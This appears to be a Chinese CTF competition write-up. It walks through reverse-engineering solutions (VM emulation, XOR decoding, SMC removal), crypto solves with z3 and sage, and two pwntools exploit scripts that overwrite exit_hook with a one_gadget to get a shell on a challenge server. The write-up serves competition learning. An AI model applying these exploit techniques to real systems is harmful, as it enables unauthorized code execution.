這次沒想到還拿了一道re的一血 能去線下了= =
題目名稱 re bang
一看題目就知道需要dump dex 正好手邊手機開啓了frida 直接dump dex 腳本一把梭,然後直接反編譯 發現flag
拿到了一血,,
題目名稱 re signal
這個題目 自己實現了vm
自己寫了一個腳本(不要吐槽我的拼音,當時有點着急 就沒有想那麼多)
自己寫了一個python代碼模擬了一下
lists=[10,4,16,8,3,5,1,4,32,8,5,3,1,3,2,8,11,1,12,8,4,4,1,5,3,8,3,33,1,11,8,11,1,4,9,8,3,32,1,2,81,8,4,36,1,12,8,11,1,5,2,8,2,37,1,2,54,8,4,65,1,2,32,8,5,1,1,5,3,8,2,37,1,4,9,8,3,32,1,2,65,8,12,1,7,34,7,63,7,52,7,50,7,114,7,51,7,24,7,167,7,49,7,241,7,40,7,132,7,193,7,30,7,122]
sums=0
xiangjia=0
cmp_index=0
idnex=0
cmpls=[]
while(1):
if sums>=114:
break
#print sums
x=lists[sums]
try:
if x==1:
print("fuzhi")
xiangjia=xiangjia+1
sums+=1
if x==2:
print("xiangjia")
print(xiangjia,lists[sums+1])
sums+=2
if x==3:
print("xiangjian")
print(xiangjia,lists[sums+1])
sums+=2
if x==4:
print("yihuo")
print(xiangjia,lists[sums+1])
sums+=2
if x==5:
print("chengfa")
print(xiangjia,lists[sums+1])
sums+=2
if x==6:
print("zizhenzijia")
sums+=1
if x==7:
print("bijiao")
print(lists[sums+1],idnex)
cmpls.append(lists[sums+1])
sums+=2
idnex+=1
if x==8:
print("jieguofuzhi")
sums+=1
if x==10:
print("duqu")
sums+=1
if x==11:
print("jianyi")
print(xiangjia)
sums+=1
if x==12:
print("jiayi")
print(xiangjia)
sums+=1
except Exception as e:
raise
print(cmpls)
然後根據出來的值 直接倒推就ok
其實可以把控制指令反過來 然後指令也翻過來就能直接跑出來flag。這懶得寫了
題目名稱 re jocker
這題目 實現了smc 並且對抗了一下f5 直接idc 去掉smc 然後 修改一下棧針
清晰出來f5
可以根據encrypt 函數直接逆向出來前19位
x=[0x66,0x6b,0x63,0x64,0x7f,0x61,0x67,0x64,0x3b,0x56,0x6b,0x61,0x7b,0x26,0x3b,0x50,0x63,0x5f,0x4d,0x5a,0x71,0xc,0x37,0x66]
for i in range(0,len(x)):
if i%2==1:
x[i]=x[i]+i
else:
x[i]=x[i]^i
flag=""
for i in range(0,len(x)):
flag+=chr(x[i])
print(flag)
xor_str="hahahaha_do_you_find_me?"
x=[
0x0E, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x09, 0x00,
0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00,
0x05, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x56, 0x00,
0x00, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
0x0C, 0x00, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x1F, 0x00,
0x00, 0x00, 0x57, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00,
0x6B, 0x00, 0x00, 0x00, 0x57, 0x00, 0x00, 0x00, 0x59, 0x00,
0x00, 0x00, 0x0D, 0x00, 0x00, 0x00]
flag=""
print
for i in range(19):
print(x[i*4])
flag+=chr(ord(xor_str[i])^x[i*4])
print(flag)
#flag{d07abccf8a410c
然後看到finally函數
發現自己一臉懵。。然後試着 去讓v7^某個值='}'
交上去發現對了。。。
題目名稱:crypto boom
就簡單的條件 符合就ok z3一把梭
題目名稱:you raise me up.
sage直接跑。。
pwn題就直接問的pwn手思路 自己沒有調試。。
題目名稱:boom1
我還以爲這個是ollvm 發現這分發快和後繼塊怎麼那麼多,,,, = =
結果改了改腳本 發現把虛擬機卡死了
後來才聽說是作者自己寫的while 並不是用的ollvm混淆 。 。。 。
然後開始搞 這兩個pwn題都是用到了 一個知識點 就是 malloc 如果塊大的話 就會和ld 捱到一塊
exit hook 的地址 就在ld裏面
那麼如果是同一個libc 那麼這個偏移就固定 pwn1是實現了一個c語言的編譯器
然後根據全局變量就可以確定偏移 然後根據偏移往上面寫 one_addr 可以getshell
import sys
from pwn import *
from ctypes import *
from pwn_debug.pwn_debug import *
binary='./pwn'
def change_ld(binary, ld):
"""
Force to use assigned new ld.so by changing the binary
"""
if not os.access(ld, os.R_OK):
log.failure("Invalid path {} to ld".format(ld))
return None
if not isinstance(binary, ELF):
if not os.access(binary, os.R_OK):
log.failure("Invalid path {} to binary".format(binary))
return None
binary = ELF(binary)
for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size <= len(ld):
log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
return None
binary.write(addr, ld.ljust(size, '\0'))
if not os.access('./Pwn', os.F_OK): os.mkdir('./Pwn')
path = './Pwn/{}_debug'.format(os.path.basename(binary.path))
if os.access(path, os.F_OK):
os.remove(path)
info("Removing exist file {}".format(path))
binary.save(path)
os.chmod(path, 0b111000000) #rwx------
success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
return ELF(path)
# LD=change_ld('./main','./ld-2.23.so')
# io = LD.process(env={'LD_PRELOAD':'./libc-2.23.so'})
io=remote('182.92.73.10',24573)
context.log_level='debug'
# while True :
io.recv()
# gdb.attach(io)
pay = '''
char *a,*b,*d;
int main()
{
a="keer";
b=a-0x529028;
a=b+0x5f0048;
a[0]=0;
a=a+0xf00;
d=b+0xCD0F3;
a[0]=d&0xFF;
a[1]=(d>>8)&0xff;
a[2]=(d>>16)&0xff;
}'''
pay = pay.replace('\n','')
io.sendline(pay)
io.recv()
io.interactive()
其中a的地址就是exit_hook d的就是one
題目名稱:boom2
這個題目就複雜了一些 是vmpwn 這個vm 實現了比較好的功能
先是初始化了棧
然後實現了很多功能 其中就是
實現了函數頭的 sub esp xx mov esp ebp
然後這裏如果控制住了 esp 比如是 exit hook 然後 往裏面寫 one 就可以控制權限了
import sys
from pwn import *
context.log_level='debug'
context.arch='amd64'
def change_ld(binary, ld):
"""
Force to use assigned new ld.so by changing the binary
"""
if not os.access(ld, os.R_OK):
log.failure("Invalid path {} to ld".format(ld))
return None
if not isinstance(binary, ELF):
if not os.access(binary, os.R_OK):
log.failure("Invalid path {} to binary".format(binary))
return None
binary = ELF(binary)
for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size <= len(ld):
log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
return None
binary.write(addr, ld.ljust(size, '\0'))
if not os.access('./Pwn', os.F_OK): os.mkdir('./Pwn')
path = './Pwn/{}_debug'.format(os.path.basename(binary.path))
if os.access(path, os.F_OK):
os.remove(path)
info("Removing exist file {}".format(path))
binary.save(path)
os.chmod(path, 0b111000000) #rwx------
success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
return ELF(path)
# LD=change_ld('./main','./ld-2.23.so')
# io = LD.process(env={'LD_PRELOAD':'./libc-2.23.so'})
io=remote("182.92.73.10",36642)
# io.recv()
# gdb.attach(io)
# pause()
off=-2992620
pay=flat([6,0x101f1,
0,0xbed,
9,
25,
6,-0x10ddf,
13,
off
])
io.sendline(pay)
寫的話 直接 push 操作就能控制了 這裏如果看懂vm的話 就很簡單了。。。
這次題目個人感覺難度是 re<crypto<pwn<web<misc = =